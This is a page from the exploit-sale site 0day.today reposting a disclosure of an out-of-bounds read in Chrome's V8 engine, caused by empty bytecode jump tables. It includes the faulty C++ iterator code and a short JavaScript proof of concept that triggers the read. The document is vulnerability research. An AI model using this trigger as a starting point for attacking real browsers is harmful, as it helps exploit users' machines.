0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Chrome V8 Out-Of-Bounds Read Exploit
[Chrome: V8: Empty BytecodeJumpTable may lead to OOB read
In the current implementation, the bytecode generator also emits empty jump tables.
<a href="https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89</a>
So the bytecode for the example code would be generated as follows:
Code:
function* opt() {
for (;;)
if (true) {
} else {
yield; // never richs, never hits BindJumpTableEntry
}
}
Bytecode:
...
0x35dda532a2a5 @ 75 : 90 04 01 01 SwitchOnSmiNoFeedback [4], [1], [1] { } <<--- SIZE: 1, but EMPTY
...
Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table.
void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() {
if (table_offset_ >= table_end_) return;
current_ = accessor_->GetConstantAtIndex(table_offset_);
Isolate* isolate = accessor_->bytecode_array()->GetIsolate();
while (current_->IsTheHole(isolate)) {
++table_offset_;
++index_;
current_ = accessor_->GetConstantAtIndex(table_offset_);
}
}
If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur.
PoC:
function* opt() {
for (;;)
if (true) {
} else {
yield;
}
for (;;)
if (true) {
} else {
yield; yield; yield; yield; yield; yield; yield; yield;
}
}
for (let i = 0; i < 100000; i++)
opt();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
# 0day.today [2024-11-15] #